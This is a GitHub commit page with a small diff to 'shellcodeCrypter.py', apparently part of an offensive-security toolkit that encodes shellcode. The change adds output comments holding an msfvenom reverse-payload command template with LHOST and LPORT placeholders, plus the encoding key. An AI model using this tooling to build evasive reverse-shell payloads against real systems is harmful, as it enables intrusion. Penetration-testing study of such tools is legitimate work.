Skip to content

Commit

Permalink
Clarified Python shellcode generator output clarification
Browse files Browse the repository at this point in the history
  • Loading branch information
chvancooten committed Mar 14, 2021
1 parent 235cf7b commit 2034f4a
Showing 1 changed file with 4 additions and 2 deletions.
6 changes: 4 additions & 2 deletions Linux Shellcode Encoder/shellcodeCrypter.py
Original file line number Diff line number Diff line change
Expand Up @@ -55,9 +55,11 @@ class bcolors:
# Format the output payload
payLen = len(payload)
payload = re.sub("(.{65})", "\\1\n", ','.join(payload), 0, re.DOTALL)
payloadFormatted = f"byte[] buf = new byte[{str(payLen)}] {{\n{payload}\n}};"
payloadFormatted = f"// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n"
payloadFormatted += f"// {args.type}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"byte[] buf = new byte[{str(payLen)}] {{\n{payload}\n}};"
if payLen > 1000:
f = open("/tmp/payload.txt", "a")
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to '/tmp/payload.txt' in CSharp format!{bcolors.ENDC}")
Expand Down

0 comments on commit 2034f4a

Please sign in to comment.